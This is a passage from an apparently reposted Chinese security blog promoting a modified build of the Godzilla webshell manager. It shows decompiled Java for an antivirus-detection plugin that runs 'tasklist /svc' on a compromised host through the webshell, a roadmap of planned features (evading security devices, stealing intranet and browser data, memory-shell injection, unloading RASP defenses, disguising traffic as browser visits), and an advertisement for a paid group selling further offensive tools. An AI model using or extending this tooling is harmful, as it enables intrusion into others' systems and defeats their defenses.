&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Log.error(var3);&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;private&nbsp;Vector<Vector<String>>&nbsp;getWinNet()&nbsp;throws&nbsp;IOException {&nbsp; &nbsp; &nbsp; &nbsp; Vector<Vector<String>> rows =&nbsp;new&nbsp;Vector();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;String&nbsp;cmdResult&nbsp;=&nbsp;this.payload.execCommand("cmd.exe /c tasklist /svc").toLowerCase();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;InputStream&nbsp;inputStream&nbsp;=&nbsp;ShellAvscan.class.getResourceAsStream("/data/av.json");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;String&nbsp;ExtractBody&nbsp;=&nbsp;new&nbsp;String(functions.readInputStream(inputStream));&nbsp; &nbsp; &nbsp; &nbsp; inputStream.close();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;int&nbsp;i&nbsp;=&nbsp;0;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;JSONObject&nbsp;jsonObject&nbsp;=&nbsp;JSONUtil.parseObj(ExtractBody);&nbsp; &nbsp; &nbsp; &nbsp; Set<String> keySet = jsonObject.keySet();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Iterator&nbsp;var8&nbsp;=&nbsp;keySet.iterator();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;while(true) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String key;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String lkey;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String value;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;char&nbsp;c;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;do&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;do&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(!var8.hasNext()) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;rows;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; key = (String)var8.next();&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; lkey = key.toLowerCase();&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; value = jsonObject.getStr(key);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;while(!cmdResult.contains(lkey));&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;int&nbsp;index&nbsp;=&nbsp;cmdResult.indexOf(lkey);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; c = cmdResult.charAt(index -&nbsp;1);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;while(c !=&nbsp;'\n');&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ++i;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String[] pid_tmp = cmdResult.split(lkey)[1].split(" ");&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;String&nbsp;pid&nbsp;=&nbsp;"0";&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for(int&nbsp;j&nbsp;=&nbsp;0; j < pid_tmp.length; ++j) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(pid_tmp[j].length() >&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(functions.isNumeric(pid_tmp[j])) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pid = pid_tmp[j];&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pid =&nbsp;"0";&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Vector<String> oneRow =&nbsp;new&nbsp;Vector();&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; oneRow.add(String.valueOf(i));&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; oneRow.add(key);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; oneRow.add(pid);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(functions.isMessyCode(value)) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; value =&nbsp;new&nbsp;String(value.getBytes("GBK"),&nbsp;"utf-8");&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; oneRow.add(value);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rows.add(oneRow);&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;private&nbsp;String&nbsp;Inet4Addr(String hex)&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; String[] strings = hex.split(":");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;String&nbsp;ip&nbsp;=&nbsp;linuxHexToIP(strings[0]);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;int&nbsp;port&nbsp;=&nbsp;functions.byteToInt2(functions.hexToByte(strings[1]));&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;ip +&nbsp;":"&nbsp;+ port;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;String&nbsp;linuxHexToIP(String hexString)&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; ArrayList<String> arrayList =&nbsp;new&nbsp;ArrayList();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;byte[] bs = functions.hexToByte(hexString);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;byte[] var3 = bs;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;int&nbsp;var4&nbsp;=&nbsp;bs.length;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for(int&nbsp;var5&nbsp;=&nbsp;0; var5 < var4; ++var5) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;byte&nbsp;b&nbsp;=&nbsp;var3[var5];&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; arrayList.add(Integer.toString(b &&nbsp;255));&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; Collections.reverse(arrayList);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;Arrays.toString(arrayList.toArray()).replace(" ",&nbsp;"").replace("[",&nbsp;"").replace("]",&nbsp;"").replace(",",&nbsp;".").trim();&nbsp; &nbsp; }}

#

5:后续更新计划

#

Todo:

1:增加新的加密方式,过相关安全设备

2:增加后渗透插件,一键获取内网敏感信息,提取浏览器信息等

3:增加后渗透插件,一键获取相关oa信息

4:增加一键注入内存马工具,可以任意注入相关class文件

5:增加rasp卸载工具,调用相关rasp内置函数反射卸载rasp

6:修改哥斯拉http传输方法,修改header头顺序,使其数据包更像正常的浏览器访问

7:更多……

圈子介绍

后续更新suo5二开、自研webshell管理工具、cs远控等,目前定价129/年,前30名的师傅享受85折优惠。

往这里看

点点关注不迷路,不定时持续分享各种干货。可关注公众号回复”进群”,也可添加管理微信拉你入群。

项目交流,src/众测挖掘,重大节日保障,攻防均可联系海哥微信。

入了小圈的朋友联系海哥进内部交流群。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:众亦信安 zyxa《哥斯拉特战版二开-纷传小圈》

评论:0   参与:  0